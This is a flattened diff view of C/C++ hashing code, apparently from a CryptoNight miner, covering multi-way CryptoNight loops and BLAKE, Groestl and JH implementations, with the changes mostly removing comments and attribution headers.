((uint64_t*) &l0[idx0 & MASK])[1] = ah0;
ah0 ^= ch;
al0 ^= cl;
idx0 = al0;
cl = ((uint64_t*) &l1[idx1 & MASK])[0];
ch = ((uint64_t*) &l1[idx1 & MASK])[1];
lo = __umul128(idx1, cl, &hi);
al1 += hi;
ah1 += lo;
((uint64_t*) &l1[idx1 & MASK])[0] = al1;
((uint64_t*) &l1[idx1 & MASK])[1] = ah1;
ah1 ^= ch;
al1 ^= cl;
idx1 = al1;
cl = ((uint64_t*) &l2[idx2 & MASK])[0];
ch = ((uint64_t*) &l2[idx2 & MASK])[1];
lo = __umul128(idx2, cl, &hi);
al2 += hi;
ah2 += lo;
((uint64_t*) &l2[idx2 & MASK])[0] = al2;
((uint64_t*) &l2[idx2 & MASK])[1] = ah2;
ah2 ^= ch;
al2 ^= cl;
idx2 = al2;
}
cn_implode_scratchpad<MEM, SOFT_AES>((__m128i*) l0, (__m128i*) h0);
cn_implode_scratchpad<MEM, SOFT_AES>((__m128i*) l1, (__m128i*) h1);
cn_implode_scratchpad<MEM, SOFT_AES>((__m128i*) l2, (__m128i*) h2);
keccakf(h0, 24);
keccakf(h1, 24);
keccakf(h2, 24);
extra_hashes[ctx->state0[0] & 3](ctx->state0, 200, static_cast<char*>(output));
extra_hashes[ctx->state1[0] & 3](ctx->state1, 200, static_cast<char*>(output) + 32);
extra_hashes[ctx->state2[0] & 3](ctx->state2, 200, static_cast<char*>(output) + 64);
}
#define CN_STEP1(a, b, c, l, ptr) \
a = _mm_xor_si128(a, c); \
ptr = (__m128i *)&l[a[0] & MASK]; \
_mm_prefetch((const char*)ptr, _MM_HINT_T0)
#define CN_STEP2(a, b, c, l, ptr) \
c = _mm_load_si128(ptr); \
if(SOFT_AES) \
c = soft_aesenc(c, a); \
else \
c = _mm_aesenc_si128(c, a); \
b = _mm_xor_si128(b, c); \
_mm_store_si128(ptr, b); \
ptr = (__m128i *)&l[c[0] & MASK]; \
_mm_prefetch((const char*)ptr, _MM_HINT_T0)
#define CN_STEP3(a, b, c, l, ptr) \
;
#define CN_STEP4(a, b, c, l, ptr) \
b = _mm_load_si128(ptr); \
lo = __umul128(c[0], b[0], &hi); \
a = _mm_add_epi64(a, _mm_set_epi64x(lo, hi)); \
_mm_store_si128(ptr, a)
#define CN_INIT_AND_EXPLODE(lx, hx, i, memory, state) \
const uint8_t* lx = memory + (MEM * i); \
uint64_t* hx = reinterpret_cast<uint64_t*>(state); \
keccak((const uint8_t *)input + size * i, size, state, 200); \
cn_explode_scratchpad<MEM, SOFT_AES>((__m128i*) hx, (__m128i*) lx)
#define CN_INIT_VARS(ax, bx, cx, hx) \
__m128i ax = _mm_set_epi64x(hx[1] ^ hx[5], hx[0] ^ hx[4]); \
__m128i bx = _mm_set_epi64x(hx[3] ^ hx[7], hx[2] ^ hx[6]); \
__m128i cx = _mm_set_epi64x(0, 0)
#define CN_IMPLODE_AND_EXPORT(lx, hx, i, output, state) \
cn_implode_scratchpad<MEM, SOFT_AES>((__m128i*) lx, (__m128i*) hx); \
keccakf(hx, 24); \
extra_hashes[state[0] & 3](state, 200, static_cast<char*>(output) + (32 * i))
template<size_t ITERATIONS, size_t MEM, size_t MASK, bool SOFT_AES>
inline void cryptonight_penta_hash(const void *__restrict__ input, size_t size, void *__restrict__ output, struct cryptonight_ctx *__restrict__ ctx)
{
CN_INIT_AND_EXPLODE(l0, h0, 0, ctx->memory, ctx->state0);
CN_INIT_AND_EXPLODE(l1, h1, 1, ctx->memory, ctx->state1);
CN_INIT_AND_EXPLODE(l2, h2, 2, ctx->memory, ctx->state2);
CN_INIT_AND_EXPLODE(l3, h3, 3, ctx->memory, ctx->state3);
CN_INIT_AND_EXPLODE(l4, h4, 4, ctx->memory, ctx->state4);
CN_INIT_VARS(ax0, bx0, cx0, h0);
CN_INIT_VARS(ax1, bx1, cx1, h1);
CN_INIT_VARS(ax2, bx2, cx2, h2);
CN_INIT_VARS(ax3, bx3, cx3, h3);
CN_INIT_VARS(ax4, bx4, cx4, h4);
for (size_t i = 0; i < ITERATIONS/2; i++) {
uint64_t hi, lo;
__m128i *ptr0, *ptr1, *ptr2, *ptr3, *ptr4;
// EVEN ROUND
CN_STEP1(ax0, bx0, cx0, l0, ptr0);
CN_STEP1(ax1, bx1, cx1, l1, ptr1);
CN_STEP1(ax2, bx2, cx2, l2, ptr2);
CN_STEP1(ax3, bx3, cx3, l3, ptr3);
CN_STEP1(ax4, bx4, cx4, l4, ptr4);
CN_STEP2(ax0, bx0, cx0, l0, ptr0);
CN_STEP2(ax1, bx1, cx1, l1, ptr1);
CN_STEP2(ax2, bx2, cx2, l2, ptr2);
CN_STEP2(ax3, bx3, cx3, l3, ptr3);
CN_STEP2(ax4, bx4, cx4, l4, ptr4);
CN_STEP3(ax0, bx0, cx0, l0, ptr0);
CN_STEP3(ax1, bx1, cx1, l1, ptr1);
CN_STEP3(ax2, bx2, cx2, l2, ptr2);
CN_STEP3(ax3, bx3, cx3, l3, ptr3);
CN_STEP3(ax4, bx4, cx4, l4, ptr4);
CN_STEP4(ax0, bx0, cx0, l0, ptr0);
CN_STEP4(ax1, bx1, cx1, l1, ptr1);
CN_STEP4(ax2, bx2, cx2, l2, ptr2);
CN_STEP4(ax3, bx3, cx3, l3, ptr3);
CN_STEP4(ax4, bx4, cx4, l4, ptr4);
// ODD ROUND
CN_STEP1(ax0, cx0, bx0, l0, ptr0);
CN_STEP1(ax1, cx1, bx1, l1, ptr1);
CN_STEP1(ax2, cx2, bx2, l2, ptr2);
CN_STEP1(ax3, cx3, bx3, l3, ptr3);
CN_STEP1(ax4, cx4, bx4, l4, ptr4);
CN_STEP2(ax0, cx0, bx0, l0, ptr0);
CN_STEP2(ax1, cx1, bx1, l1, ptr1);
CN_STEP2(ax2, cx2, bx2, l2, ptr2);
CN_STEP2(ax3, cx3, bx3, l3, ptr3);
CN_STEP2(ax4, cx4, bx4, l4, ptr4);
CN_STEP3(ax0, cx0, bx0, l0, ptr0);
CN_STEP3(ax1, cx1, bx1, l1, ptr1);
CN_STEP3(ax2, cx2, bx2, l2, ptr2);
CN_STEP3(ax3, cx3, bx3, l3, ptr3);
CN_STEP3(ax4, cx4, bx4, l4, ptr4);
CN_STEP4(ax0, cx0, bx0, l0, ptr0);
CN_STEP4(ax1, cx1, bx1, l1, ptr1);
CN_STEP4(ax2, cx2, bx2, l2, ptr2);
CN_STEP4(ax3, cx3, bx3, l3, ptr3);
CN_STEP4(ax4, cx4, bx4, l4, ptr4);
}
CN_IMPLODE_AND_EXPORT(l0, h0, 0, output, ctx->state0);
CN_IMPLODE_AND_EXPORT(l1, h1, 1, output, ctx->state1);
CN_IMPLODE_AND_EXPORT(l2, h2, 2, output, ctx->state2);
CN_IMPLODE_AND_EXPORT(l3, h3, 3, output, ctx->state3);
CN_IMPLODE_AND_EXPORT(l4, h4, 4, output, ctx->state4);
}
#endif /* __CRYPTONIGHT_X86_H__ */ #endif /* __CRYPTONIGHT_X86_H__ */

File diff suppressed because it is too large Load diff

View file

@ -1,13 +1,3 @@
/*
* The blake256_* and blake224_* functions are largely copied from
* blake256_light.c and blake224_light.c from the BLAKE website:
*
* http://131002.net/blake/
*
* The hmac_* functions implement HMAC-BLAKE-256 and HMAC-BLAKE-224.
* HMAC is specified by RFC 2104.
*/
#include <string.h> #include <string.h>
#include <stdio.h> #include <stdio.h>
#include <stdint.h> #include <stdint.h>

View file

@ -1,13 +1,3 @@
/* hash.c April 2012
* Groestl ANSI C code optimised for 32-bit machines
* Author: Thomas Krinninger
*
* This work is based on the implementation of
* Soeren S. Thomsen and Krystian Matusiewicz
*
*
*/
#include "c_groestl.h" #include "c_groestl.h"
#include "groestl_tables.h" #include "groestl_tables.h"
@ -63,7 +53,6 @@ const uint8_t indices_cyclic[15] = {0,1,2,3,4,5,6,7,0,1,2,3,4,5,6};
y[i+1] = tl; y[i+1] = tl;
/* compute one round of P (short variants) */
static void RND512P(uint8_t *x, uint32_t *y, uint32_t r) { static void RND512P(uint8_t *x, uint32_t *y, uint32_t r) {
uint32_t temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp; uint32_t temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp;
uint32_t* x32 = (uint32_t*)x; uint32_t* x32 = (uint32_t*)x;
@ -85,7 +74,6 @@ static void RND512P(uint8_t *x, uint32_t *y, uint32_t r) {
COLUMN(x,y,14, 14, 0, 2, 4, 7, 9, 11, 13, temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp); COLUMN(x,y,14, 14, 0, 2, 4, 7, 9, 11, 13, temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp);
} }
/* compute one round of Q (short variants) */
static void RND512Q(uint8_t *x, uint32_t *y, uint32_t r) { static void RND512Q(uint8_t *x, uint32_t *y, uint32_t r) {
uint32_t temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp; uint32_t temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp;
uint32_t* x32 = (uint32_t*)x; uint32_t* x32 = (uint32_t*)x;
@ -115,7 +103,7 @@ static void RND512Q(uint8_t *x, uint32_t *y, uint32_t r) {
COLUMN(x,y,14, 0, 4, 8, 12, 15, 3, 7, 11, temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp); COLUMN(x,y,14, 0, 4, 8, 12, 15, 3, 7, 11, temp_v1, temp_v2, temp_upper_value, temp_lower_value, temp);
} }
/* compute compression function (short variants) */
static void F512(uint32_t *h, const uint32_t *m) { static void F512(uint32_t *h, const uint32_t *m) {
int i; int i;
uint32_t Ptmp[2*COLS512]; uint32_t Ptmp[2*COLS512];
@ -128,7 +116,7 @@ static void F512(uint32_t *h, const uint32_t *m) {
Ptmp[i] = h[i]^m[i]; Ptmp[i] = h[i]^m[i];
} }
/* compute Q(m) */
RND512Q((uint8_t*)z, y, 0x00000000); RND512Q((uint8_t*)z, y, 0x00000000);
RND512Q((uint8_t*)y, z, 0x01000000); RND512Q((uint8_t*)y, z, 0x01000000);
RND512Q((uint8_t*)z, y, 0x02000000); RND512Q((uint8_t*)z, y, 0x02000000);
@ -140,7 +128,7 @@ static void F512(uint32_t *h, const uint32_t *m) {
RND512Q((uint8_t*)z, y, 0x08000000); RND512Q((uint8_t*)z, y, 0x08000000);
RND512Q((uint8_t*)y, Qtmp, 0x09000000); RND512Q((uint8_t*)y, Qtmp, 0x09000000);
/* compute P(h+m) */
RND512P((uint8_t*)Ptmp, y, 0x00000000); RND512P((uint8_t*)Ptmp, y, 0x00000000);
RND512P((uint8_t*)y, z, 0x00000001); RND512P((uint8_t*)y, z, 0x00000001);
RND512P((uint8_t*)z, y, 0x00000002); RND512P((uint8_t*)z, y, 0x00000002);
@ -152,30 +140,30 @@ static void F512(uint32_t *h, const uint32_t *m) {
RND512P((uint8_t*)z, y, 0x00000008); RND512P((uint8_t*)z, y, 0x00000008);
RND512P((uint8_t*)y, Ptmp, 0x00000009); RND512P((uint8_t*)y, Ptmp, 0x00000009);
/* compute P(h+m) + Q(m) + h */
for (i = 0; i < 2*COLS512; i++) { for (i = 0; i < 2*COLS512; i++) {
h[i] ^= Ptmp[i]^Qtmp[i]; h[i] ^= Ptmp[i]^Qtmp[i];
} }
} }
/* digest up to msglen bytes of input (full blocks only) */
static void Transform(groestlHashState *ctx, static void Transform(groestlHashState *ctx,
const uint8_t *input, const uint8_t *input,
int msglen) { int msglen) {
/* digest message, one block at a time */
for (; msglen >= SIZE512; for (; msglen >= SIZE512;
msglen -= SIZE512, input += SIZE512) { msglen -= SIZE512, input += SIZE512) {
F512(ctx->chaining,(uint32_t*)input); F512(ctx->chaining,(uint32_t*)input);
/* increment block counter */
ctx->block_counter1++; ctx->block_counter1++;
if (ctx->block_counter1 == 0) ctx->block_counter2++; if (ctx->block_counter1 == 0) ctx->block_counter2++;
} }
} }
/* given state h, do h <- P(h)+h */
static void OutputTransformation(groestlHashState *ctx) { static void OutputTransformation(groestlHashState *ctx) {
int j; int j;
uint32_t temp[2*COLS512]; uint32_t temp[2*COLS512];
@ -202,27 +190,27 @@ static void OutputTransformation(groestlHashState *ctx) {
} }
} }
/* initialise context */
static void Init(groestlHashState* ctx) { static void Init(groestlHashState* ctx) {
int i = 0; int i = 0;
/* allocate memory for state and data buffer */
for(;i<(SIZE512/sizeof(uint32_t));i++) for(;i<(SIZE512/sizeof(uint32_t));i++)
{ {
ctx->chaining[i] = 0; ctx->chaining[i] = 0;
} }
/* set initial value */
ctx->chaining[2*COLS512-1] = u32BIG((uint32_t)HASH_BIT_LEN); ctx->chaining[2*COLS512-1] = u32BIG((uint32_t)HASH_BIT_LEN);
/* set other variables */
ctx->buf_ptr = 0; ctx->buf_ptr = 0;
ctx->block_counter1 = 0; ctx->block_counter1 = 0;
ctx->block_counter2 = 0; ctx->block_counter2 = 0;
ctx->bits_in_last_byte = 0; ctx->bits_in_last_byte = 0;
} }
/* update state with databitlen bits of input */
static void Update(groestlHashState* ctx, static void Update(groestlHashState* ctx,
const BitSequence* input, const BitSequence* input,
DataLength databitlen) { DataLength databitlen) {
@ -230,14 +218,12 @@ static void Update(groestlHashState* ctx,
int msglen = (int)(databitlen/8); int msglen = (int)(databitlen/8);
int rem = (int)(databitlen%8); int rem = (int)(databitlen%8);
/* if the buffer contains data that has not yet been digested, first
add data to buffer until full */
if (ctx->buf_ptr) { if (ctx->buf_ptr) {
while (ctx->buf_ptr < SIZE512 && index < msglen) { while (ctx->buf_ptr < SIZE512 && index < msglen) {
ctx->buffer[(int)ctx->buf_ptr++] = input[index++]; ctx->buffer[(int)ctx->buf_ptr++] = input[index++];
} }
if (ctx->buf_ptr < SIZE512) { if (ctx->buf_ptr < SIZE512) {
/* buffer still not full, return */
if (rem) { if (rem) {
ctx->bits_in_last_byte = rem; ctx->bits_in_last_byte = rem;
ctx->buffer[(int)ctx->buf_ptr++] = input[index]; ctx->buffer[(int)ctx->buf_ptr++] = input[index];
@ -245,23 +231,20 @@ static void Update(groestlHashState* ctx,
return; return;
} }
/* digest buffer */
ctx->buf_ptr = 0; ctx->buf_ptr = 0;
Transform(ctx, ctx->buffer, SIZE512); Transform(ctx, ctx->buffer, SIZE512);
} }
/* digest bulk of message */
Transform(ctx, input+index, msglen-index); Transform(ctx, input+index, msglen-index);
index += ((msglen-index)/SIZE512)*SIZE512; index += ((msglen-index)/SIZE512)*SIZE512;
/* store remaining data in buffer */
while (index < msglen) { while (index < msglen) {
ctx->buffer[(int)ctx->buf_ptr++] = input[index++]; ctx->buffer[(int)ctx->buf_ptr++] = input[index++];
} }
/* if non-integral number of bytes have been supplied, store
remaining bits in last byte, together with information about
number of bits */
if (rem) { if (rem) {
ctx->bits_in_last_byte = rem; ctx->bits_in_last_byte = rem;
ctx->buffer[(int)ctx->buf_ptr++] = input[index]; ctx->buffer[(int)ctx->buf_ptr++] = input[index];
@ -269,15 +252,12 @@ static void Update(groestlHashState* ctx,
} }
#define BILB ctx->bits_in_last_byte #define BILB ctx->bits_in_last_byte
/* finalise: process remaining data (including padding), perform
output transformation, and write hash result to 'output' */
static void Final(groestlHashState* ctx, static void Final(groestlHashState* ctx,
BitSequence* output) { BitSequence* output) {
int i, j = 0, hashbytelen = HASH_BIT_LEN/8; int i, j = 0, hashbytelen = HASH_BIT_LEN/8;
uint8_t *s = (BitSequence*)ctx->chaining; uint8_t *s = (BitSequence*)ctx->chaining;
/* pad with '1'-bit and first few '0'-bits */
if (BILB) { if (BILB) {
ctx->buffer[(int)ctx->buf_ptr-1] &= ((1<<BILB)-1)<<(8-BILB); ctx->buffer[(int)ctx->buf_ptr-1] &= ((1<<BILB)-1)<<(8-BILB);
ctx->buffer[(int)ctx->buf_ptr-1] ^= 0x1<<(7-BILB); ctx->buffer[(int)ctx->buf_ptr-1] ^= 0x1<<(7-BILB);
@ -285,13 +265,13 @@ static void Final(groestlHashState* ctx,
} }
else ctx->buffer[(int)ctx->buf_ptr++] = 0x80; else ctx->buffer[(int)ctx->buf_ptr++] = 0x80;
/* pad with '0'-bits */
if (ctx->buf_ptr > SIZE512-LENGTHFIELDLEN) { if (ctx->buf_ptr > SIZE512-LENGTHFIELDLEN) {
/* padding requires two blocks */
while (ctx->buf_ptr < SIZE512) { while (ctx->buf_ptr < SIZE512) {
ctx->buffer[(int)ctx->buf_ptr++] = 0; ctx->buffer[(int)ctx->buf_ptr++] = 0;
} }
/* digest first padding block */
Transform(ctx, ctx->buffer, SIZE512); Transform(ctx, ctx->buffer, SIZE512);
ctx->buf_ptr = 0; ctx->buf_ptr = 0;
} }
@ -299,7 +279,7 @@ static void Final(groestlHashState* ctx,
ctx->buffer[(int)ctx->buf_ptr++] = 0; ctx->buffer[(int)ctx->buf_ptr++] = 0;
} }
/* length padding */
ctx->block_counter1++; ctx->block_counter1++;
if (ctx->block_counter1 == 0) ctx->block_counter2++; if (ctx->block_counter1 == 0) ctx->block_counter2++;
ctx->buf_ptr = SIZE512; ctx->buf_ptr = SIZE512;
@ -312,17 +292,17 @@ static void Final(groestlHashState* ctx,
ctx->buffer[(int)--ctx->buf_ptr] = (uint8_t)ctx->block_counter2; ctx->buffer[(int)--ctx->buf_ptr] = (uint8_t)ctx->block_counter2;
ctx->block_counter2 >>= 8; ctx->block_counter2 >>= 8;
} }
/* digest final padding block */
Transform(ctx, ctx->buffer, SIZE512); Transform(ctx, ctx->buffer, SIZE512);
/* perform output transformation */
OutputTransformation(ctx); OutputTransformation(ctx);
/* store hash result in output */
for (i = SIZE512-hashbytelen; i < SIZE512; i++,j++) { for (i = SIZE512-hashbytelen; i < SIZE512; i++,j++) {
output[j] = s[i]; output[j] = s[i];
} }
/* zeroise relevant variables and deallocate memory */
for (i = 0; i < COLS512; i++) { for (i = 0; i < COLS512; i++) {
ctx->chaining[i] = 0; ctx->chaining[i] = 0;
} }
@ -331,30 +311,20 @@ static void Final(groestlHashState* ctx,
} }
} }
/* hash bit sequence */
void groestl(const BitSequence* data, void groestl(const BitSequence* data,
DataLength databitlen, DataLength databitlen,
BitSequence* hashval) { BitSequence* hashval) {
groestlHashState context; groestlHashState context;
/* initialise */
Init(&context); Init(&context);
/* process message */
Update(&context, data, databitlen); Update(&context, data, databitlen);
/* finalise */
Final(&context, hashval); Final(&context, hashval);
} }
/*
static int crypto_hash(unsigned char *out,
const unsigned char *in,
unsigned long long len)
{
groestl(in, 8*len, out);
return 0;
}
*/

View file

@ -1,27 +1,12 @@
/*This program gives the 64-bit optimized bitslice implementation of JH using ANSI C
--------------------------------
Performance
Microprocessor: Intel CORE 2 processor (Core 2 Duo Mobile T6600 2.2GHz)
Operating System: 64-bit Ubuntu 10.04 (Linux kernel 2.6.32-22-generic)
Speed for long message:
1) 45.8 cycles/byte compiler: Intel C++ Compiler 11.1 compilation option: icc -O2
2) 56.8 cycles/byte compiler: gcc 4.4.3 compilation option: gcc -O3
--------------------------------
Last Modified: January 16, 2011
*/
#include "c_jh.h" #include "c_jh.h"
#include <stdint.h> #include <stdint.h>
#include <string.h> #include <string.h>
/*typedef unsigned long long uint64;*/
typedef uint64_t uint64; typedef uint64_t uint64;
/*define data alignment for different C compilers*/
#if defined(__GNUC__) #if defined(__GNUC__)
#define DATA_ALIGN16(x) x __attribute__ ((aligned(16))) #define DATA_ALIGN16(x) x __attribute__ ((aligned(16)))
#else #else
@ -30,21 +15,21 @@ typedef uint64_t uint64;
typedef struct { typedef struct {
int hashbitlen; /*the message digest size*/ int hashbitlen;
unsigned long long databitlen; /*the message size in bits*/ unsigned long long databitlen;
unsigned long long datasize_in_buffer; /*the size of the message remained in buffer; assumed to be multiple of 8bits except for the last partial block at the end of the message*/ unsigned long long datasize_in_buffer;
DATA_ALIGN16(uint64 x[8][2]); /*the 1024-bit state, ( x[i][0] || x[i][1] ) is the ith row of the state in the pseudocode*/ DATA_ALIGN16(uint64 x[8][2]);
unsigned char buffer[64]; /*the 512-bit message block to be hashed;*/ unsigned char buffer[64];
} hashState; } hashState;
/*The initial hash value H(0)*/
const unsigned char JH224_H0[128]={0x2d,0xfe,0xdd,0x62,0xf9,0x9a,0x98,0xac,0xae,0x7c,0xac,0xd6,0x19,0xd6,0x34,0xe7,0xa4,0x83,0x10,0x5,0xbc,0x30,0x12,0x16,0xb8,0x60,0x38,0xc6,0xc9,0x66,0x14,0x94,0x66,0xd9,0x89,0x9f,0x25,0x80,0x70,0x6f,0xce,0x9e,0xa3,0x1b,0x1d,0x9b,0x1a,0xdc,0x11,0xe8,0x32,0x5f,0x7b,0x36,0x6e,0x10,0xf9,0x94,0x85,0x7f,0x2,0xfa,0x6,0xc1,0x1b,0x4f,0x1b,0x5c,0xd8,0xc8,0x40,0xb3,0x97,0xf6,0xa1,0x7f,0x6e,0x73,0x80,0x99,0xdc,0xdf,0x93,0xa5,0xad,0xea,0xa3,0xd3,0xa4,0x31,0xe8,0xde,0xc9,0x53,0x9a,0x68,0x22,0xb4,0xa9,0x8a,0xec,0x86,0xa1,0xe4,0xd5,0x74,0xac,0x95,0x9c,0xe5,0x6c,0xf0,0x15,0x96,0xd,0xea,0xb5,0xab,0x2b,0xbf,0x96,0x11,0xdc,0xf0,0xdd,0x64,0xea,0x6e}; const unsigned char JH224_H0[128]={0x2d,0xfe,0xdd,0x62,0xf9,0x9a,0x98,0xac,0xae,0x7c,0xac,0xd6,0x19,0xd6,0x34,0xe7,0xa4,0x83,0x10,0x5,0xbc,0x30,0x12,0x16,0xb8,0x60,0x38,0xc6,0xc9,0x66,0x14,0x94,0x66,0xd9,0x89,0x9f,0x25,0x80,0x70,0x6f,0xce,0x9e,0xa3,0x1b,0x1d,0x9b,0x1a,0xdc,0x11,0xe8,0x32,0x5f,0x7b,0x36,0x6e,0x10,0xf9,0x94,0x85,0x7f,0x2,0xfa,0x6,0xc1,0x1b,0x4f,0x1b,0x5c,0xd8,0xc8,0x40,0xb3,0x97,0xf6,0xa1,0x7f,0x6e,0x73,0x80,0x99,0xdc,0xdf,0x93,0xa5,0xad,0xea,0xa3,0xd3,0xa4,0x31,0xe8,0xde,0xc9,0x53,0x9a,0x68,0x22,0xb4,0xa9,0x8a,0xec,0x86,0xa1,0xe4,0xd5,0x74,0xac,0x95,0x9c,0xe5,0x6c,0xf0,0x15,0x96,0xd,0xea,0xb5,0xab,0x2b,0xbf,0x96,0x11,0xdc,0xf0,0xdd,0x64,0xea,0x6e};
const unsigned char JH256_H0[128]={0xeb,0x98,0xa3,0x41,0x2c,0x20,0xd3,0xeb,0x92,0xcd,0xbe,0x7b,0x9c,0xb2,0x45,0xc1,0x1c,0x93,0x51,0x91,0x60,0xd4,0xc7,0xfa,0x26,0x0,0x82,0xd6,0x7e,0x50,0x8a,0x3,0xa4,0x23,0x9e,0x26,0x77,0x26,0xb9,0x45,0xe0,0xfb,0x1a,0x48,0xd4,0x1a,0x94,0x77,0xcd,0xb5,0xab,0x26,0x2,0x6b,0x17,0x7a,0x56,0xf0,0x24,0x42,0xf,0xff,0x2f,0xa8,0x71,0xa3,0x96,0x89,0x7f,0x2e,0x4d,0x75,0x1d,0x14,0x49,0x8,0xf7,0x7d,0xe2,0x62,0x27,0x76,0x95,0xf7,0x76,0x24,0x8f,0x94,0x87,0xd5,0xb6,0x57,0x47,0x80,0x29,0x6c,0x5c,0x5e,0x27,0x2d,0xac,0x8e,0xd,0x6c,0x51,0x84,0x50,0xc6,0x57,0x5,0x7a,0xf,0x7b,0xe4,0xd3,0x67,0x70,0x24,0x12,0xea,0x89,0xe3,0xab,0x13,0xd3,0x1c,0xd7,0x69}; const unsigned char JH256_H0[128]={0xeb,0x98,0xa3,0x41,0x2c,0x20,0xd3,0xeb,0x92,0xcd,0xbe,0x7b,0x9c,0xb2,0x45,0xc1,0x1c,0x93,0x51,0x91,0x60,0xd4,0xc7,0xfa,0x26,0x0,0x82,0xd6,0x7e,0x50,0x8a,0x3,0xa4,0x23,0x9e,0x26,0x77,0x26,0xb9,0x45,0xe0,0xfb,0x1a,0x48,0xd4,0x1a,0x94,0x77,0xcd,0xb5,0xab,0x26,0x2,0x6b,0x17,0x7a,0x56,0xf0,0x24,0x42,0xf,0xff,0x2f,0xa8,0x71,0xa3,0x96,0x89,0x7f,0x2e,0x4d,0x75,0x1d,0x14,0x49,0x8,0xf7,0x7d,0xe2,0x62,0x27,0x76,0x95,0xf7,0x76,0x24,0x8f,0x94,0x87,0xd5,0xb6,0x57,0x47,0x80,0x29,0x6c,0x5c,0x5e,0x27,0x2d,0xac,0x8e,0xd,0x6c,0x51,0x84,0x50,0xc6,0x57,0x5,0x7a,0xf,0x7b,0xe4,0xd3,0x67,0x70,0x24,0x12,0xea,0x89,0xe3,0xab,0x13,0xd3,0x1c,0xd7,0x69};
const unsigned char JH384_H0[128]={0x48,0x1e,0x3b,0xc6,0xd8,0x13,0x39,0x8a,0x6d,0x3b,0x5e,0x89,0x4a,0xde,0x87,0x9b,0x63,0xfa,0xea,0x68,0xd4,0x80,0xad,0x2e,0x33,0x2c,0xcb,0x21,0x48,0xf,0x82,0x67,0x98,0xae,0xc8,0x4d,0x90,0x82,0xb9,0x28,0xd4,0x55,0xea,0x30,0x41,0x11,0x42,0x49,0x36,0xf5,0x55,0xb2,0x92,0x48,0x47,0xec,0xc7,0x25,0xa,0x93,0xba,0xf4,0x3c,0xe1,0x56,0x9b,0x7f,0x8a,0x27,0xdb,0x45,0x4c,0x9e,0xfc,0xbd,0x49,0x63,0x97,0xaf,0xe,0x58,0x9f,0xc2,0x7d,0x26,0xaa,0x80,0xcd,0x80,0xc0,0x8b,0x8c,0x9d,0xeb,0x2e,0xda,0x8a,0x79,0x81,0xe8,0xf8,0xd5,0x37,0x3a,0xf4,0x39,0x67,0xad,0xdd,0xd1,0x7a,0x71,0xa9,0xb4,0xd3,0xbd,0xa4,0x75,0xd3,0x94,0x97,0x6c,0x3f,0xba,0x98,0x42,0x73,0x7f}; const unsigned char JH384_H0[128]={0x48,0x1e,0x3b,0xc6,0xd8,0x13,0x39,0x8a,0x6d,0x3b,0x5e,0x89,0x4a,0xde,0x87,0x9b,0x63,0xfa,0xea,0x68,0xd4,0x80,0xad,0x2e,0x33,0x2c,0xcb,0x21,0x48,0xf,0x82,0x67,0x98,0xae,0xc8,0x4d,0x90,0x82,0xb9,0x28,0xd4,0x55,0xea,0x30,0x41,0x11,0x42,0x49,0x36,0xf5,0x55,0xb2,0x92,0x48,0x47,0xec,0xc7,0x25,0xa,0x93,0xba,0xf4,0x3c,0xe1,0x56,0x9b,0x7f,0x8a,0x27,0xdb,0x45,0x4c,0x9e,0xfc,0xbd,0x49,0x63,0x97,0xaf,0xe,0x58,0x9f,0xc2,0x7d,0x26,0xaa,0x80,0xcd,0x80,0xc0,0x8b,0x8c,0x9d,0xeb,0x2e,0xda,0x8a,0x79,0x81,0xe8,0xf8,0xd5,0x37,0x3a,0xf4,0x39,0x67,0xad,0xdd,0xd1,0x7a,0x71,0xa9,0xb4,0xd3,0xbd,0xa4,0x75,0xd3,0x94,0x97,0x6c,0x3f,0xba,0x98,0x42,0x73,0x7f};
const unsigned char JH512_H0[128]={0x6f,0xd1,0x4b,0x96,0x3e,0x0,0xaa,0x17,0x63,0x6a,0x2e,0x5,0x7a,0x15,0xd5,0x43,0x8a,0x22,0x5e,0x8d,0xc,0x97,0xef,0xb,0xe9,0x34,0x12,0x59,0xf2,0xb3,0xc3,0x61,0x89,0x1d,0xa0,0xc1,0x53,0x6f,0x80,0x1e,0x2a,0xa9,0x5,0x6b,0xea,0x2b,0x6d,0x80,0x58,0x8e,0xcc,0xdb,0x20,0x75,0xba,0xa6,0xa9,0xf,0x3a,0x76,0xba,0xf8,0x3b,0xf7,0x1,0x69,0xe6,0x5,0x41,0xe3,0x4a,0x69,0x46,0xb5,0x8a,0x8e,0x2e,0x6f,0xe6,0x5a,0x10,0x47,0xa7,0xd0,0xc1,0x84,0x3c,0x24,0x3b,0x6e,0x71,0xb1,0x2d,0x5a,0xc1,0x99,0xcf,0x57,0xf6,0xec,0x9d,0xb1,0xf8,0x56,0xa7,0x6,0x88,0x7c,0x57,0x16,0xb1,0x56,0xe3,0xc2,0xfc,0xdf,0xe6,0x85,0x17,0xfb,0x54,0x5a,0x46,0x78,0xcc,0x8c,0xdd,0x4b}; const unsigned char JH512_H0[128]={0x6f,0xd1,0x4b,0x96,0x3e,0x0,0xaa,0x17,0x63,0x6a,0x2e,0x5,0x7a,0x15,0xd5,0x43,0x8a,0x22,0x5e,0x8d,0xc,0x97,0xef,0xb,0xe9,0x34,0x12,0x59,0xf2,0xb3,0xc3,0x61,0x89,0x1d,0xa0,0xc1,0x53,0x6f,0x80,0x1e,0x2a,0xa9,0x5,0x6b,0xea,0x2b,0x6d,0x80,0x58,0x8e,0xcc,0xdb,0x20,0x75,0xba,0xa6,0xa9,0xf,0x3a,0x76,0xba,0xf8,0x3b,0xf7,0x1,0x69,0xe6,0x5,0x41,0xe3,0x4a,0x69,0x46,0xb5,0x8a,0x8e,0x2e,0x6f,0xe6,0x5a,0x10,0x47,0xa7,0xd0,0xc1,0x84,0x3c,0x24,0x3b,0x6e,0x71,0xb1,0x2d,0x5a,0xc1,0x99,0xcf,0x57,0xf6,0xec,0x9d,0xb1,0xf8,0x56,0xa7,0x6,0x88,0x7c,0x57,0x16,0xb1,0x56,0xe3,0xc2,0xfc,0xdf,0xe6,0x85,0x17,0xfb,0x54,0x5a,0x46,0x78,0xcc,0x8c,0xdd,0x4b};
/*42 round constants, each round constant is 32-byte (256-bit)*/
const unsigned char E8_bitslice_roundconstant[42][32]={ const unsigned char E8_bitslice_roundconstant[42][32]={
